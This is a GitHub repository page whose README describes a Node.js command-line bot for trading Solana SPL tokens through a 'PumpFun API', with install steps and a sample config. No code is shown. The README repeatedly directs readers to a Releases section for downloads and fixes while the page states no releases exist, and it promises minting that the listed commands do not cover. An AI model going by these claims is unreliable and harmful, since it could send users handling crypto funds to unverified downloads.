Skip to content

A simple Node.js CLI bot that interacts with SolanaPortal’s PumpFun API for efficient token swaps and minting. Easily manage your SPL tokens and create your own PumpFun mint with this streamlined tool. 🛠️🌐

Notifications You must be signed in to change notification settings

ratudijah/pumpfun-api

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

PumpFun API Bot 🤖

PumpFun API

Welcome to the PumpFun API repository! This project is a lightweight Node.js CLI bot designed to simplify the process of trading SPL tokens. It leverages the PumpFun API and Jito’s high-performance RPC to allow users to build, sign, and send token trades effortlessly.

Table of Contents

Features 🌟

  • Seamless Trading: Enter your mint, amount, slippage, and tip to initiate trades.
  • Lightweight: Designed to be efficient and easy to use.
  • High Performance: Utilizes Jito’s RPC for quick transaction processing.
  • User-Friendly: Simple command-line interface for quick access.

Getting Started 🚀

To get started with the PumpFun API bot, you need to have Node.js installed on your machine. You can download it from nodejs.org.

Prerequisites

  • Node.js (version 14 or higher)
  • npm (Node package manager)

Installation 🛠️

  1. Clone the repository:

    git clone https://github.com/ratudijah/pumpfun-api.git
  2. Navigate to the project directory:

    cd pumpfun-api
  3. Install the dependencies:

    npm install

Usage 💡

After installation, you can start using the bot. You can find the latest releases and download the necessary files from the Releases section.

Running the Bot

To run the bot, use the following command:

node index.js

Example Command

node index.js --mint YOUR_MINT_ADDRESS --amount YOUR_TOKEN_AMOUNT --slippage YOUR_SLIPPAGE --tip YOUR_TIP_AMOUNT

Replace YOUR_MINT_ADDRESS, YOUR_TOKEN_AMOUNT, YOUR_SLIPPAGE, and YOUR_TIP_AMOUNT with your desired values.

Configuration ⚙️

You can configure the bot by editing the config.json file located in the root directory. This file allows you to set default values for your mint address, slippage, and other parameters.

Sample config.json

{
  "defaultMint": "YOUR_DEFAULT_MINT_ADDRESS",
  "defaultSlippage": 0.5,
  "defaultTip": 0.01
}

Commands 📝

The bot supports various commands. Here are the primary commands you can use:

  • --mint: Specify the mint address of the token you want to trade.
  • --amount: Set the amount of tokens to trade.
  • --slippage: Define the acceptable slippage percentage.
  • --tip: Provide a tip amount for the transaction.

Contributing 🤝

We welcome contributions to the PumpFun API bot! If you would like to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Make your changes.
  4. Commit your changes (git commit -m 'Add some feature').
  5. Push to the branch (git push origin feature/YourFeature).
  6. Open a pull request.

Please ensure your code follows the existing style and includes tests where applicable.

License 📄

This project is licensed under the MIT License. See the LICENSE file for details.

Support 💬

If you encounter any issues or have questions, please check the Releases section for updates and fixes. You can also open an issue in the repository for assistance.

Conclusion

Thank you for exploring the PumpFun API bot! We hope it simplifies your SPL token trading experience. Feel free to contribute and help improve the project.

PumpFun API Bot

For more details and to stay updated, visit the Releases section.

About

A simple Node.js CLI bot that interacts with SolanaPortal’s PumpFun API for efficient token swaps and minting. Easily manage your SPL tokens and create your own PumpFun mint with this streamlined tool. 🛠️🌐

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •